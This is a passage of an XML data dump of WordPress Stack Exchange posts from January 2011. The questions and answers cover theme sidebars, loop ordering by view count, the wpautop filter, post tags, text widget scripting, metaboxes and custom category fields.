  <row Id="6790" PostTypeId="2" ParentId="6788" CreationDate="2011-01-12T11:08:31.537" Score="0" ViewCount="" Body="&lt;p&gt;Here is complete code that runs this sidebar from &lt;code&gt;sidebar-footer.php&lt;/code&gt; template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_active_sidebar( 'first-footer-widget-area' ) ) : ?&amp;gt;&#xA;                &amp;lt;div id=&quot;first&quot; class=&quot;widget-area&quot;&amp;gt;&#xA;                    &amp;lt;ul class=&quot;xoxo&quot;&amp;gt;&#xA;                        &amp;lt;?php dynamic_sidebar( 'first-footer-widget-area' ); ?&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- #first .widget-area --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can move this snippet around, but it might break styling. Also Twenty Ten is often upgraded with WordPress and by itself and you will need to create &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;child theme&lt;/a&gt; for it so your changes stick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd first try to move widgets with CSS or maybe register separate sidebar if something specialized is needed.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-12T11:08:31.537" CommentCount="3" />
  <row Id="6791" PostTypeId="2" ParentId="6789" CreationDate="2011-01-12T11:20:20.050" Score="1" ViewCount="" Body="&lt;p&gt;This doesn't seems to be natively possible, even with upcoming improvements in WP 3.1.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[...] That’s not what taxonomies are for. Taxonomies are for grouping, not for ordering by. If you want to order by something, it has to be something in the post itself, not a term in a taxo. &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-1-advanced-taxonomy-queries/comment-page-1/#comment-6345&quot; rel=&quot;nofollow&quot;&gt;Otto&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For this kind of data custom fields make much more sense. Instead of &quot;group of people who weight 60kg&quot;, it should be &quot;Player A (60kg), Player B (60kg), etc&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details are by definition individual. Taxonomies are broad generic groups.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-12T11:20:20.050" />
  <row Id="6792" PostTypeId="2" ParentId="6111" CreationDate="2011-01-12T11:20:35.920" Score="0" ViewCount="" Body="&lt;p&gt;There is a plugin to pull custom fields into the permalink, though the problem is if certain content does not have custom fields, then you end up with 2 forward slashes in the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tec.toi-planning.net/wp/custom-fields-permalink&quot; rel=&quot;nofollow&quot;&gt;http://tec.toi-planning.net/wp/custom-fields-permalink&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-01-12T11:20:35.920" CommentCount="1" />
  <row Id="6793" PostTypeId="2" ParentId="6679" CreationDate="2011-01-12T11:36:15.317" Score="1" ViewCount="" Body="&lt;p&gt;start the count from 1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;post number count value %value&#xA;1                1          1&#xA;2                2          2&#xA;3                3          0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2193" LastActivityDate="2011-01-12T11:36:15.317" />
  <row Id="6794" PostTypeId="2" ParentId="6762" CreationDate="2011-01-12T11:38:36.530" Score="1" ViewCount="" Body="&lt;p&gt;When I was using Windows, I thought XAMPP was the best and easiest way to get a *AMP environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, you could use VirtualBox to create a Linux VM that more closely replicates your target production platform, which could be used for staging, or as a way of testing any changes (not necessarily limited to WordPress changes) without messing up your actual VM&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-01-12T11:38:36.530" />
  <row Id="6795" PostTypeId="2" ParentId="6111" CreationDate="2011-01-12T11:55:54.017" Score="1" ViewCount="" Body="&lt;p&gt;It is not possible. And if it were, I wouldn’t recommend it, because WP &lt;a href=&quot;http://ottopress.com/2010/category-in-permalinks-considered-harmful/&quot; rel=&quot;nofollow&quot;&gt;cannot handle categories in permalinks&lt;/a&gt; well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is a solution: Use custom post types.&#xA;Books and movies require a lot of different meta data. You may want ISBN, editor, publisher, number of pages etc. for books and actors, director, screen format for movies. CPTs are made for this; the codex has an &lt;a href=&quot;http://codex.wordpress.org/Post_Types&quot; rel=&quot;nofollow&quot;&gt;example for books&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both post types may share a &lt;a href=&quot;http://codex.wordpress.org/Taxonomies&quot; rel=&quot;nofollow&quot;&gt;custom taxonomy&lt;/a&gt;. Justin Tadlock has written a very &lt;a href=&quot;http://justintadlock.com/archives/2009/06/04/using-custom-taxonomies-to-create-a-movie-database&quot; rel=&quot;nofollow&quot;&gt;nice tutorial&lt;/a&gt; about this feature, and he has made a website with books and movies and where you can see how the result may look. As an example: You can browse the genre adventure at &lt;a href=&quot;http://popcritics.com/genres/adventure&quot; rel=&quot;nofollow&quot;&gt;popcritics.com/genres/adventure&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That’s not exactly what you asked for, but it is a solution you probably like more than your initial request, once you’ve got used to it. ;)&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-01-12T11:55:54.017" CommentCount="2" />
  <row Id="6796" PostTypeId="1" AcceptedAnswerId="6959" CreationDate="2011-01-12T11:58:23.000" Score="1" ViewCount="608" Body="&lt;p&gt;I hope somebody would be kind enough to help. I currently have a page that orders all of the posts by comment count, but I want to change the loop to order the posts by view count. I have installed the 'wp-postviews.1.50' plugin and have got it to display the number of views on each post, so I know that side of it is working, now I just need the loop code changed to order by most views, is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the how the number of views is called out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $views = get_post_meta($post-&amp;gt;ID, 'views', true); ?&amp;gt;&amp;lt;?php echo $views; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the loop I need changed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $posts_per_page = get_query_var('posts_per_page'); ?&amp;gt;&#xA;&amp;lt;?php $paged = intval(get_query_var('paged')); ?&amp;gt;&#xA;&amp;lt;?php $paged = ($paged) ? $paged : 1; ?&amp;gt;&#xA;&amp;lt;?php $args = array(&#xA;'posts_per_page' =&amp;gt; $posts_per_page,&#xA;'paged' =&amp;gt; $paged,&#xA;'more' =&amp;gt; $more = 0,&#xA;'orderby' =&amp;gt; 'comment_count',&#xA;'order' =&amp;gt; 'DESC',&#xA;); ?&amp;gt;&#xA;&amp;lt;?php query_posts($args); ?&amp;gt;&#xA;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post() ;?&amp;gt;&#xA;&amp;lt;div &amp;lt;?php post_class() ?&amp;gt; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using WordPress 3.0.4.&lt;/p&gt;&#xA;" OwnerUserId="2447" LastActivityDate="2011-03-02T08:12:11.960" Title="How to Change Loop to Order Posts by Views (using wp-postviews plugin)" Tags="&lt;loop&gt;&lt;views&gt;" AnswerCount="3" />
  <row Id="6797" PostTypeId="2" ParentId="6796" CreationDate="2011-01-12T12:14:29.510" Score="0" ViewCount="" Body="&lt;p&gt;From the plugin documentation&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To Display Most Viewed Posts Use:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if&#xA;(function_exists('get_most_viewed')):&#xA;?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;      &amp;lt;?php get_most_viewed(); ?&amp;gt;    &#xA;&amp;lt;/ul&amp;gt; &amp;lt;?php endif; ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The first value&#xA;  you pass in is what you want to get,&#xA;  'post', 'page' or 'both'. The second&#xA;  value you pass in is the maximum&#xA;  number of post you want to get.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Default: get_most_viewed('both', 10);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-01-12T12:14:29.510" CommentCount="3" />
  <row Id="6798" PostTypeId="1" CreationDate="2011-01-12T12:42:45.563" Score="1" ViewCount="519" Body="&lt;p&gt;I've tried disabling WP's auto-paragraph thingy using&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;remove_filter ('the_content', 'wpautop');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I am still getting my stuff wrapped in automatic &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags... What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its at the bottom of a functions file. Its not in functions.php, but in a file that functions.php includes (and putting it in functions.php doesn't change the behaviour at all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: &#xA;&lt;code&gt;var_dump( $wp_filter['the_content'] );&lt;/code&gt; outputs &lt;code&gt;NULL&lt;/code&gt;. How can I test why this filter isn't being run?&lt;/p&gt;&#xA;" OwnerUserId="1118" LastEditorUserId="1118" LastEditorDisplayName="" LastEditDate="2011-02-07T16:24:38.357" LastActivityDate="2011-08-11T03:22:10.003" Title="Remove_filter ('the_content', 'wpautop') is not working" Tags="&lt;functions&gt;&lt;wysiwyg&gt;" AnswerCount="3" />
  <row Id="6799" PostTypeId="2" ParentId="6798" CreationDate="2011-01-12T13:52:02.427" Score="0" ViewCount="" Body="&lt;p&gt;Your code is absolutely correct. You can try this snippet in template to ensure it is being removed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_dump( $wp_filter['the_content'] );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it's not it may be that code never reaches your filter removal (&lt;code&gt;return&lt;/code&gt; above it for example) or filter is re-added later by some other code.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-12T13:52:02.427" CommentCount="13" />
  <row Id="6800" PostTypeId="1" AcceptedAnswerId="6803" CreationDate="2011-01-12T13:53:20.840" Score="0" ViewCount="171" Body="&lt;p&gt;I use the following function in order to retrieve tags of a post, remove an element from the array and then set the result to the post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_tags = wp_get_post_terms( $post_id );&#xA;foreach ( $post_tags as $key =&amp;gt; $tag) {&#xA;    $tag_string = http_build_query( $tag );&#xA;    if( 0 != strpos( $tag_string , 'tag-to-be-deleted' ) ) {&#xA;            unset( $post_tags[$key] );&#xA;    }&#xA;}&#xA;wp_set_post_terms ($post_id, $post_tags, 'post_tag');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I get a bug inside the wp_set_post_terms function, that says the $post_tags parameter should be a string and not an array...what am I doing wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1567" LastActivityDate="2011-01-12T14:15:32.820" Title="Problem with removing post tags programmatically" Tags="&lt;custom-taxonomy&gt;&lt;tags&gt;" AnswerCount="2" />
  <row Id="6802" PostTypeId="2" ParentId="6800" CreationDate="2011-01-12T14:06:51.047" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_post_terms&quot; rel=&quot;nofollow&quot;&gt;wp_get_post_terms()&lt;/a&gt; seems to return a object, and you need to pass a array to &lt;code&gt;wp_set_post_terms&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_tags = wp_get_post_terms( $post_id );&#xA;$new_tags = array();&#xA;foreach ( $post_tags as $tag) {&#xA;    $tag_string = http_build_query( $tag );&#xA;    if( strpos( $tag_string , 'tag-to-be-deleted' ) === false ) {&#xA;            $new_tags[] = $tag-&amp;gt;name;&#xA;    }&#xA;}&#xA;wp_set_post_terms ($post_id, $new_tags, 'post_tag');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-12T14:06:51.047" CommentCount="1" />
  <row Id="6803" PostTypeId="2" ParentId="6800" CreationDate="2011-01-12T14:15:32.820" Score="2" ViewCount="" Body="&lt;p&gt;Your code looks little clunky, &lt;code&gt;http_build_query()&lt;/code&gt; is definitely not meant for such. Also what you are fetching is not simple array, but array of tag objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My take:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_tags = wp_get_post_terms( $post_id, 'post_tag', array( 'fields'=&amp;gt;'names' ) );&#xA;$pos = array_search( 'tag-to-be-deleted', $post_tags );&#xA;&#xA;if( false !== $pos ) {&#xA;&#xA;    unset( $post_tags[$pos] );&#xA;    wp_set_post_terms ($post_id, $post_tags, 'post_tag');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-12T14:15:32.820" CommentCount="3" />
  <row Id="6805" PostTypeId="2" ParentId="6700" CreationDate="2011-01-12T14:58:34.610" Score="1" ViewCount="" Body="&lt;p&gt;Apologies that this doesn't directly answer your question but If I were you I would use the following structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/%post_id%/%location%/%course%/%postname%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the id should help to speed up the page load as it reduces the amount of processing that WP needs to do to select the correct page and you still get a nice enough url.&lt;/p&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2011-01-12T14:58:34.610" CommentCount="1" />
  <row Id="6806" PostTypeId="1" AcceptedAnswerId="6807" CreationDate="2011-01-12T15:27:37.203" Score="0" ViewCount="284" Body="&lt;p&gt;Wordpress has a Text Widget (at least the theme I'm using does, and I think they all do?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this widget I can add text or HTML. If I add HTML I can include JavaScript. This works fine (I'm hosting my own site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to add some text to the Widget using a script. However;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;document.write(&quot;Whatever&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;writes the text onto the actual web page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What command do I use to write text into the Text Widget only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for any help!&lt;/p&gt;&#xA;" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-01-24T17:09:40.173" LastActivityDate="2011-01-24T17:09:40.173" Title="Add text to Text Widget using Javascript" Tags="&lt;widgets&gt;&lt;javascript&gt;&lt;text&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6807" PostTypeId="2" ParentId="6806" CreationDate="2011-01-12T16:00:22.710" Score="0" ViewCount="" Body="&lt;p&gt;Where are you using &lt;code&gt;document.write&lt;/code&gt;? Inside the text widget? If so, it should write text inside that widget, just like you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;document.write&lt;/code&gt; injects data where it's encountered. So if you're using it outside the document body it will produce unexpected results (like overwrite the document, in most cases).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**Update, add this in your text widget:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div id=&quot;textwidget-content&quot;&amp;gt; YOUR INITIAL TEXT HERE &amp;lt;/div&amp;gt;&#xA; &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;   var strings = new Array('Whatever', 'Bla blah', 'Boo', '....');&#xA;   var t = setInterval(function(){&#xA;     document.getElementById('textwidget-content').innerHTML = strings[Math.floor(Math.random()*(strings.length))];}, 1000);&#xA; &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-01-12T17:04:51.867" LastActivityDate="2011-01-12T17:04:51.867" CommentCount="4" />
  <row Id="6808" PostTypeId="1" AcceptedAnswerId="6809" CreationDate="2011-01-12T16:47:35.370" Score="0" ViewCount="69" Body="&lt;p&gt;I have tried changing the template of the attached page and changing which page is attached as the home page, no effect for either. The front page remains the same. I am at my wits end with this one!!&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-01-12T16:54:58.597" Title="front page won't change templates" Tags="&lt;template&gt;&lt;frontpage&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="6809" PostTypeId="2" ParentId="6808" CreationDate="2011-01-12T16:54:58.597" Score="1" ViewCount="" Body="&lt;p&gt;What is your setup for front page in &lt;code&gt;Settings &amp;gt; Reading&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have &lt;code&gt;front-page.php&lt;/code&gt; template in your theme? It will pretty much override anything, no matter what you choose in settings.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-12T16:54:58.597" CommentCount="2" />
  <row Id="6810" PostTypeId="1" CreationDate="2011-01-12T17:03:34.860" Score="0" ViewCount="264" Body="&lt;p&gt;I would like to add a date picker for the user to choose a date instead of adding a whole bunch of custom variables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the current setup at:&#xA;&lt;a href=&quot;https://russiantourguide.com/st-petersburg/st-petersburg-day-tours/catherine-palace-st-petersburg-day-tour/&quot; rel=&quot;nofollow&quot;&gt;https://russiantourguide.com/st-petersburg/st-petersburg-day-tours/catherine-palace-st-petersburg-day-tour/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under Price per person I have included the wp-e-commerce code. I would like to replace the current date picker with a graphic php version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your assistance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Michael&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-01-31T12:44:20.117" LastActivityDate="2011-01-31T12:44:20.117" Title="WP E-commerce custom user input for product" Tags="&lt;jquery&gt;&lt;date-time&gt;&lt;plugin-wp-e-commerce&gt;&lt;datepicker&gt;" CommentCount="1" />
  <row Id="6811" PostTypeId="1" AcceptedAnswerId="6813" CreationDate="2011-01-12T17:10:22.827" Score="5" ViewCount="1605" Body="&lt;p&gt;Is it possible to make a meta box that attaches multiple images to a post? &lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2011-01-12T21:35:22.700" Title="Creating a metabox to upload multiple images" Tags="&lt;metabox&gt;" AnswerCount="4" FavoriteCount="4" />
  <row Id="6812" PostTypeId="2" ParentId="6811" CreationDate="2011-01-12T17:23:09.570" Score="0" ViewCount="" Body="&lt;p&gt;Yes it's quite possible. See a &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6557/redesigning-custom-post-type-add-new-page/6575#6575&quot;&gt;response&lt;/a&gt; I got about metaboxes. Basically, you'll just want to add a hook for &lt;code&gt;save_post&lt;/code&gt; and verify the nonce field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_save_post_callback( $post_id, $post )&#xA;{&#xA;    if ( empty($_POST) || !isset($_POST['my_custom_metabox']) || !wp_verify_nonce( $_POST['my_custom_metabox'], plugin_basename( __FILE__ ) ) )&#xA;    {&#xA;        return $post-&amp;gt;ID;&#xA;    }&#xA;&#xA;    // Handle the upload here&#xA;&#xA;}&#xA;add_action( 'save_post', 'my_save_post_callback', 1, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-01-12T17:23:09.570" />
  <row Id="6813" PostTypeId="2" ParentId="6811" CreationDate="2011-01-12T17:28:14.177" Score="5" ViewCount="" Body="&lt;p&gt;That depends entirely on what you mean by &quot;attach.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each WordPress post can already have multiple media attachments - photos, documents, etc.  You upload these using the built-in uploader and they'll all be marked as &quot;attached&quot; to that specific post ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can refer to these later programatically elsewhere.  For example, the following code will list out all attachments for a specific post &lt;em&gt;(code from &lt;a href=&quot;http://snipplr.com/view.php?codeview&amp;amp;id=5375&quot; rel=&quot;nofollow&quot;&gt;Snipplr&lt;/a&gt;)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'attachment',&#xA;    'numberposts' =&amp;gt; null,&#xA;    'post_status' =&amp;gt; null,&#xA;    'post_parent' =&amp;gt; $post-&amp;gt;ID&#xA;);&#xA;$attachments = get_posts($args);&#xA;if ($attachments) {&#xA;    foreach ($attachments as $attachment) {&#xA;        echo apply_filters('the_title', $attachment-&amp;gt;post_title);&#xA;        the_attachment_link($attachment-&amp;gt;ID, false);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of this functionality is accessible via the default &quot;Add Media&quot; button to the far right of &quot;Upload/Insert&quot; on the new post screen.  After you add one image, you can click &quot;Select Files&quot; again and upload a second image.  Then a third.  Then a fourth.  As many as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each of these images will be &quot;attached&quot; to the post ... even if they're not inserted into the content.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-12T17:28:14.177" CommentCount="2" />
  <row Id="6814" PostTypeId="1" AcceptedAnswerId="6815" CreationDate="2011-01-12T17:45:30.737" Score="0" ViewCount="75" Body="&lt;p&gt;I believe I could do this with either get_categories() or wp_list_categories() and passing a 'child_of' parameter, for example, but that would return a much larger dataset than I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a direct call that returns the child ids for any category as a simple list (1,2,3,5, etc)?&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-12T17:50:56.473" LastActivityDate="2011-01-12T17:51:37.977" Title="How to get a list of child ids for a named category?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="6815" PostTypeId="2" ParentId="6814" CreationDate="2011-01-12T17:51:37.977" Score="1" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_terms( 'category', &quot;child_of=$parent&amp;amp;fields=ids&quot; );&#xA;// should return an array containing the ID's of children of term $parent&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-12T17:51:37.977" CommentCount="8" />
  <row Id="6816" PostTypeId="2" ParentId="6811" CreationDate="2011-01-12T17:57:30.193" Score="3" ViewCount="" Body="&lt;p&gt;Here is a complete tutorial with source files that do exactly what you want,&lt;br&gt;&#xA;You can upload multi images by cloning the input field and also you can preview, delete images with ajax, add multi metaboxes to multiple/different post types and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.deluxeblogtips.com/2010/05/howto-meta-box-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/2010/05/howto-meta-box-wordpress.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastEditorUserId="2048" LastEditorDisplayName="" LastEditDate="2011-01-12T21:03:06.253" LastActivityDate="2011-01-12T21:03:06.253" CommentCount="1" />
  <row Id="6817" PostTypeId="2" ParentId="5955" CreationDate="2011-01-12T17:59:47.583" Score="4" ViewCount="" Body="&lt;p&gt;Here's how to add fields and save the values on the category edit screen as well as a method of adding an image upload field.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Adding fields to category edit screen&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To start we need to get some code showing up on the category edit screen.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'edit_category_form_fields', 'my_category_custom_fields' );&#xA;add_action( 'edit_category', 'save_my_category_custom_fields' );&#xA;&#xA;function my_category_custom_fields( $tag ) {&#xA;    // your custom field HTML will go here&#xA;    // the $tag variable is a taxonomy term object with properties like $tag-&amp;gt;name, $tag-&amp;gt;term_id etc...&#xA;&#xA;    // we need to know the values of our existing entries if any&#xA;    $category_meta = get_option( 'category_meta' );&#xA;    ?&amp;gt;&#xA;    &amp;lt;tr class=&quot;form-field&quot;&amp;gt;&#xA;        &amp;lt;th scope=&quot;row&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;label for=&quot;category-title&quot;&amp;gt;&amp;lt;?php _e(&quot;Title&quot;); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;            &amp;lt;input id=&quot;category-title&quot; name=&quot;category_meta[&amp;lt;?php echo $tag-&amp;gt;term_id ?&amp;gt;][title]&quot; value=&quot;&amp;lt;?php if ( isset( $category_meta[ $tag-&amp;gt;term_id ] ) ) esc_attr_e( $category_meta[ $tag-&amp;gt;term_id ]['title'] ); ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;?php _e('Enter an alternative title for this category.'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;!-- rinse &amp;amp; repeat for other fields you need --&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The simplest way to store our custom values is in the options table (there should be a taxonomy-meta table really but never mind). This way we only need to make one query to get the meta data for all of our categories. If anyone has a better idea for storage then speak up!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save_my_category_custom_fields() {&#xA;    if ( isset( $_POST['category_meta'] ) &amp;amp;&amp;amp; !update_option('category_meta', $_POST['category_meta']) )&#xA;        add_option('category_meta', $_POST['category_meta']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For a checkbox you're simply storing true or false so you'd use &lt;code&gt;category_extras[$tag-&amp;gt;term_id][show_on_home]&lt;/code&gt; for the name attribute and use the value stored in &lt;code&gt;$category_meta&lt;/code&gt; to determine if it's checked or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to add some extra processing or sanitisation to the save function - mine is just a quick n dirty example.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The image field&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This is a fair bit of code and quite complicated so I won't explain it all here but the comments describe the purpose of each function. We can discuss in the comments if you want to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following functions add a link to the category edit screen which brings up the wordpress media library/image upload popup. You can then upload a picture and click to use it. You'll then have the image ID and thumbnail url available to you with the other meta above.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// add the image size you need&#xA;add_image_size( 'category_thumb', 125, 125, true );&#xA;&#xA;// setup our image field and handling methods&#xA;function setup_category_image_handling() {&#xA;    // add the image field to the rest&#xA;    add_action( 'edit_category_form_fields', 'category_image' );&#xA;&#xA;    global $pagenow;&#xA;    if ( is_admin() ) {&#xA;    add_action( 'admin_init', 'fix_async_upload_image' );&#xA;    if ( 'edit-tags.php' == $pagenow ) {&#xA;        add_thickbox();&#xA;        add_action('admin_print_footer_scripts', 'category_image_send_script', 1000);&#xA;    } elseif ( 'media-upload.php' == $pagenow || 'async-upload.php' == $pagenow ) {&#xA;        add_filter( 'media_send_to_editor', 'category_image_send_to_editor', 1, 8 );&#xA;        add_filter( 'gettext', 'category_image_replace_text_in_thickbox', 1, 3 );&#xA;    }&#xA;    }&#xA;}&#xA;add_action( 'admin_init', 'setup_category_image_handling' );&#xA;&#xA;// the taxonomy edit screen image field&#xA;function category_image( $tag ) {&#xA;    // get our category meta data&#xA;    $category_meta = get_option('category_meta');&#xA;    ?&amp;gt;&#xA;           &amp;lt;tr class=&quot;form-field hide-if-no-js&quot;&amp;gt;&#xA;               &amp;lt;th scope=&quot;row&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;label for=&quot;taxonomy-image&quot;&amp;gt;&amp;lt;?php _e(&quot;Image&quot;); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;               &amp;lt;td&amp;gt;&#xA;                   &amp;lt;div id=&quot;taxonomy-image-holder&quot;&amp;gt;&#xA;               &amp;lt;?php if( !empty($category_meta[$tag-&amp;gt;term_id]['image']) ) { ?&amp;gt;&#xA;                   &amp;lt;img style=&quot;max-width:100%;display:block;&quot; src=&quot;&amp;lt;?php echo esc_attr( $category_meta[ $tag-&amp;gt;term_id ]['image']['thumb'] ); ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;                   &amp;lt;a id=&quot;taxonomy-image-select&quot; class=&quot;thickbox&quot; 